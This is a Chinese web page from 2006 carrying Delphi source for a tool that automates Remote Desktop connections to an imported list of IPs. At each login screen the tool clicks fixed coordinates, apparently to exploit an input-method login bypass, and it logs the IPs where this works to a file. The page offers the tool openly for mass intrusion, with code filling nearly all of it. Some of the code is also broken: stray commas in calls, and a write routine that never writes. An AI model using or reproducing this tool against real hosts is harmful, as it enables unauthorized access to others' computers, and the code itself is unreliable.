WEB开发网
开发学院软件开发Delphi 利用极品五笔刷QB程序原代码 阅读

利用极品五笔刷QB程序原代码

 2006-02-04 14:26:09 来源:WEB开发网   
核心提示://--// 输入发漏洞程序1.0file://--unit pApp;interfaceusesWindows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,Dialogs, StdCtrls, ExtCtrls,
//----------------------------------------------------------
//         输入发漏洞程序1.0
file://----------------------------------------------------------

unit pApp;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, Menus, ComCtrls;
file://定义键盘动作类
type
  TKAction = (CTAB, TAB_F4, ENTER, ALT_U);
type
TfrmMain = class(TForm)
  OpenDlg: TOpenDialog;
  Panel1: TPanel;
  btnOpen: TButton;
  PRogressBar1: TProgressBar;
  btnStop: TButton;
  btnPause: TButton;
  btnSetting: TButton;
  btnAbout: TButton;
  GroupBox1: TGroupBox;
  btnStart: TButton;
  timLoop: TTimer;
  GroupBox3: TGroupBox;
  TrackBar1: TTrackBar;
  Label3: TLabel;
  edtAppPath: TEdit;
  btnAppPath: TButton;
  edtSavePath: TEdit;
  btnSavePath: TButton;
  Label4: TLabel;
  Label5: TLabel;
  chkAutoEnd: TCheckBox;
  GroupBox2: TGroupBox;
  Image1: TImage;
  Label1: TLabel;
  Label2: TLabel;
  btnHelp: TButton;
  chkAutoipText: TCheckBox;
  timWait: TTimer;
  SaveDlg: TSaveDialog;
  OpenAppDlg: TOpenDialog;
  memIP: TMemo;
  lblWeb: TLabel;
  timKeyAction: TTimer;
  procedure FormCreate(Sender: TObject);
  procedure btnSettingClick(Sender: TObject);
  procedure btnAboutClick(Sender: TObject);
  procedure btnOpenClick(Sender: TObject);
  procedure btnStartClick(Sender: TObject);
  procedure timLoopTimer(Sender: TObject);
  procedure TrackBar1Change(Sender: TObject);
  procedure btnStopClick(Sender: TObject);
  procedure timWaitTimer(Sender: TObject);
  procedure timKeyActionTimer(Sender: TObject);
private
  function GetSysDir: String;
 
  function Get_Remote_Hwnd: HWND;
  function Get_IPBox_Hwnd: THandle;
  function Get_ConnectHwnd: HWND;
  procedure Set_IPText(IPbox: THandle; IP: String);
  function GetCloseHwnd: HWND;
  function Get_IntermitFrmHwnd(Name: String): HWND;
  procedure ReadIPFiles(Line: Integer);
  procedure ReadTomemIP(IPPath: String);
  function Get_EnterBox: HWND;
  procedure SendKeyboard(KA: TKAction);
  procedure Sendmose(a, x, y: Integer);
  function GetColor(x, y: Integer): Integer;
  procedure WriteIP(s, FileName: String);
  procedure CreateIPFile(FileName: String);
  { Private declarations }
public
  { Public declarations }
end;

var
frmMain: TfrmMain;
Waittime, I: Integer;   file://声明等待时间&累加变量
Howline: Integer;       file://声明总行数
K: Integer;           file://声明行数累加变量
IPFilePath: String;     file://导入IP文件路径
Str: String;
hEnterBox: HWND;       file://定义登陆筐句柄
KeyTime: Integer;       file://定义模拟键盘累加值
WIP: String;         file://定义纪录写入的IP是否相同
implementation

{$R *.dfm}

procedure TfrmMain.FormCreate(Sender: TObject);
begin
file://初始化属性
  frmMain.Font.Name := '宋体';
  frmMain.Font.Size := 9;
  frmMain.Caption := '输入法漏洞过滤程序[中国起点网络安全小组]';
  btnOpen.Caption := '导入IP';
  btnStart.Caption := '开始';
  btnPause.Caption := '暂停';
  btnStop.Caption := '停止';
  btnSetting.Caption := '设置';
  btnAbout.Caption := '关于';
  frmMain.ClientWidth := 409;
  frmMain.ClientHeight := 95;
  GroupBox1.Visible := False;
  GroupBox2.Visible := False;
  Label1.Caption := '输入法漏洞过滤1.0' + #13 +
              '版权:Hack太子 所有' + #13 +
              'QQ:78730710' + #13 +
              'QQ:2711997';
  btnStart.Enabled := False;
  btnStop.Enabled := False;
  btnPause.Enabled := False;
  Label3.Caption := IntToStr(TrackBar1.Position) + '秒';
  Waittime := TrackBar1.Position; file://初始化等待时间值
end;

procedure TfrmMain.btnSettingClick(Sender: TObject);
begin
  if btnSetting.Caption = '设置' then
  begin
    btnSetting.Caption := '隐藏';
    frmMain.ClientHeight := 223;
    GroupBox2.Visible := False;
    GroupBox1.Visible := True
  end else
  begin
    btnSetting.Caption := '设置';
    GroupBox1.Visible := False;
    frmMain.ClientHeight := 95;
  end;
end;

procedure TfrmMain.btnAboutClick(Sender: TObject);
begin
  ShowMessage(IntToStr(Get_Enterbox));
  ShowMessage(str);
  if btnAbout.Caption = '关于' then
  begin
    btnAbout.Caption := '隐藏';
    FrmMain.ClientHeight := 223;
    GroupBox1.Visible := False;
    GroupBox2.Visible := True;
  end else
  begin
    btnAbout.Caption := '关于';
    GroupBox2.Visible := False;
    FrmMain.ClientHeight := 95;
  end;
end;

file://单击打开按钮执行以下部分
procedure TfrmMain.btnOpenClick(Sender: TObject);
begin
  if OpenDlg.Execute then
  begin
    IPFilePath := OpenDlg.FileName;
  end;
  if IPFilePath = '' then
    Exit
  else
  begin
    btnStart.Enabled := True;
  end;







end;
file://获取系统所在目录
function TfrmMain.GetSysDir: String;
var
  SysDir: PChar;
begin
  GetMem(SysDir, MAX_PATH);
  GetSystemDirectory(SysDir, MAX_PATH);
  Result := StrPas(SysDir);
  FreeMem(SysDir, MAX_PATH);
end;
file://获取远程桌面程序窗口句柄
function TfrmMain.Get_Remote_Hwnd: HWND;
var
  RHwnd: HWND;
begin
  RHwnd := FindWindow('#32770', '远程桌面连接');
  if RHwnd <> 0 then
    Result := RHwnd
  else
    Result := 0;
end;
file://获取IP输入筐句柄
function TfrmMain.Get_IPBox_Hwnd: THandle;
var
  IPBoxHwnd: THandle;
begin
  IPBoxHwnd := FindWindowEx(
            Get_Remote_Hwnd,
            0,
            'ComboBoxEx32',
            nil
            );
  if IPBoxHwnd <> 0 then
    Result := IPBoxHwnd
  else
    Result := IPBoxHwnd;
end;
file://向IP地址输入筐中发送IP地址字符串
procedure TfrmMain.Set_IPText(IPbox: THandle; IP: String);
var
  IPText: PChar;
  IPBuf: Integer;
begin
  GetMem(IPText, Length(IP));
  StrCopy(IPText, PChar(IP));
  try
    IPBuf := LongInt(IPText);
    SendMessage(
        IPbox,
        WM_SETTEXT,
        0,
        IPBuf
        );
  finally
    FreeMem(IPText, Length(IP));
  end;
end;
file://获取连接按钮句柄
function TfrmMain.Get_ConnectHwnd: HWND;
var
  BtnHwnd: HWND;
begin
  BtnHwnd := FindWindowEx(
            Get_Remote_Hwnd,
            0,
            'Button',
            '连接(&N)'
            );
  if BtnHwnd <> 0 then
    Result := BtnHwnd
  else
    Result := 0;
end;
file://获取取消按钮句柄
function TfrmMain.GetCloseHwnd: HWND;
var
  BtnClose: HWND;
begin
  BtnClose := FindWindowEx(
            Get_Remote_Hwnd,
            0,
            'Button',
            '取消',
            );
  if BtnClose <> 0 then
    Result := BtnClose
  else
    Result := 0;
end;
file://获取中断网络连接窗口句柄&该窗口确认按钮句柄
function TfrmMain.Get_IntermitFrmHwnd(Name: String): HWND;
var
  FrmHwnd: HWND;
  BtnHwnd: HWND;
begin
  if (Name = 'F') or (Name = 'f') then
  begin
    FrmHwnd := FindWindow('#32770', '中断远程桌面连接');
    if FrmHwnd <> 0 then
        Result := FrmHwnd
    else
        Result := 0;
  end;
  if (Name = 'B') or (Name = 'b') then
  begin
    BtnHwnd := FindWindowEx(
                FindWindow('#32770', '中断远程桌面连接'),
                0,
                'Button',
                '确定',
                );
    if BtnHwnd <> 0 then
        Result := BtnHwnd
    else
        Result := BtnHwnd;
  end;
end;
file://把IP文件读入Memo控件
procedure TfrmMain.ReadTomemIP(IPPath: String);
var
  TF: TextFile;
  IPStr: String;
begin
  memIP.Clear;
  if FileExists(IPPath) then
  begin
    AssignFile(TF, IPPath);
    Reset(TF);
    while not Eof(TF) do
    begin
        Readln(TF, IPStr);
        memIP.Lines.Add(IPStr);
    end;
    CloseFile(TF);
  end else
  begin
    ShowMessage('请导入IP文件');
  end;

end;





file://读入Memo中IP并连接
procedure TfrmMain.ReadIPFiles(Line: Integer);
begin
  Howline := memIP.Lines.Count;
  if Line <= (Howline - 1) then
  begin
    Str := memIP.Lines.Strings[Line];
        Set_IPText(Get_IPBox_Hwnd, Str);
        SendMessage(
          Get_ConnectHwnd,
          WM_LBUTTONDOWN,
          MK_LBUTTON,
          0
          );
        SendMessage(
          Get_ConnectHwnd,
          WM_LBUTTONUP,
          0,
          0
          );
  end else
  begin
    timWait.Enabled := False;
    timLoop.Enabled := False;
    MessageBox(
        frmMain.Handle,
        'IP已经全部过滤',
          '输入法漏洞过滤程序',
        MB_OK + MB_ICONINFORMATION
        );
  end;
end;

file://取得登陆窗口句柄
function TfrmMain.Get_EnterBox: HWND;
var
  Ebox: HWND;
  sIP: String;
begin
  sIP := Str + ' - 远程桌面';
  Ebox := FindWindow('TSSHELLWND', PChar(sIP));
  if Ebox <> 0 then
    Result := Ebox
  else
    Result := 0;
end;
file://写入过滤后的IP
procedure TfrmMain.WriteIP(s, FileName: String);
var
  TF: TextFile;
  IP: String;
begin
  WIP := s;
  if FileExists(FileName) then
  begin
    if s <> WIP then
    begin
        AssignFile(TF, FileName );
        Append(TF);
        Writeln(TF, s);
        CloseFile(TF);
    end;
  end;
end;file://创建保存过滤后IP的文件
procedure TfrmMain.CreateIPFile(FileName: String);
var
  fHwnd: Integer;
  TF: TextFile;
begin
  if not FileExists(FileName) then
  begin
    fHwnd := FileCreate(FileName);
    FileClose(fHwnd);
    AssignFile(TF, FileName);
    Append(TF);
    Writeln(TF, '过滤过的IP:');
    CloseFile(TF);
  end;
end;



file://单击开始按钮以下部分
procedure TfrmMain.btnStartClick(Sender: TObject);
begin
  WinExec(PChar(GetSysDir + '\mstsc.exe'), SW_SHOWNORMAL);
  ReadTomemIP(IPFilePath);
  timLoop.Enabled := True;
  timWait.Enabled := True;
  btnStart.Enabled := False;
  btnStop.Enabled := True;
  btnPause.Enabled := True;
  CloseWindow(frmMain.Handle);
end;
file://取得指定坐标颜色
function TfrmMain.GetColor(x, y: Integer): Integer;
var
  WindowDC: THandle;
  Color: Integer;
begin
  WindowDC := GetDC(0);
  Color := GetPixel(WindowDC, x, y);
  Result := Color;
end;

procedure TfrmMain.SendKeyboard(KA: TKAction);
begin
  if KA = CTAB then
  begin
    Keybd_event(VK_TAB, 0, 0, 0);
    Keybd_event(VK_TAB, 0, KEYEVENTF_KEYUP, 0);
  end;
end;

procedure TfrmMain.Sendmose(a, x, y: Integer);
begin
  if a = 1 then
  begin
    SetCursorPos(x, y);
    mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
    mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
  end;
  if a = 2 then
  begin
    SetCursorPos(x, y);
    mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
    mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
  end;
end;





procedure TfrmMain.timLoopTimer(Sender: TObject);
begin
  if Get_IntermitFrmHwnd('F') <> 0 then
  begin
    SendMessage(
        Get_IntermitFrmHwnd('B'),
        WM_LBUTTONDOWN,
        MK_LBUTTON,
        0
        );
    SendMessage(
        Get_IntermitFrmHwnd('B'),
        WM_LBUTTONUP,
        0,
        0
        );
    I := 0;
  end;
  if Get_EnterBox <> 0 then
  begin
    hEnterBox := Get_EnterBox;
    timWait.Enabled := false;
    if (TimKeyAction.Enabled <> True) then timKeyAction.Enabled := True;
  end;
  if (Get_EnterBox <> 0) and (Get_EnterBox <> hEnterBox) then
  begin
        timWait.Enabled := false;
  end;
  if GetColor(186, 570) = 16777215 then
  begin
    Sendmose(1, 1009, 10);
    Sendmose(1, 735, 13);
    CreateIPFile('c:\MyIP.txt');
    WriteIP(Str, 'c:\MyIP.txt');
    Sleep(10);
  end;


 

end;

procedure TfrmMain.TrackBar1Change(Sender: TObject);
begin
  Label3.Caption := IntToStr(TrackBar1.Position) + '秒';
  Waittime := TrackBar1.Position;
end;

procedure TfrmMain.btnStopClick(Sender: TObject);
begin
  timLoop.Enabled := False;
  timWait.Enabled := False;
  Str := '';
  I := 0;
  K := 0;
  IPFilePath := '';
  Howline := 0;
  btnStop.Enabled := False;
  btnPause.Enabled := False;
  btnStart.Enabled := False;
  btnOpen.Enabled := True;
end;



procedure TfrmMain.timWaitTimer(Sender: TObject);
begin
  Inc(I);
  if I = Waittime then
  begin
    SendMessage(
        GetCloseHwnd,
        WM_LBUTTONDOWN,
        MK_LBUTTON,
        0
        );
    SendMessage(
        GetCloseHwnd,
        WM_LBUTTONUP,
        0,
        0
        );
    I := 0;
  end;
  if I = 1 then
  begin
    Inc(K);
    ReadIPFiles((K - 1));
  end;
end;

procedure TfrmMain.timKeyActionTimer(Sender: TObject);
begin
  Inc(KeyTime);
  case KeyTime of
    1: Sendmose(1, 495, 328);
    2: Sendmose(2, 57, 753);
    3: Sendmose(1, 54, 650);
    4: Sendmose(1, 150, 652);
    5: KeyTime := 0;
  end;
end;

end.

Tags:利用 极品 笔刷

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接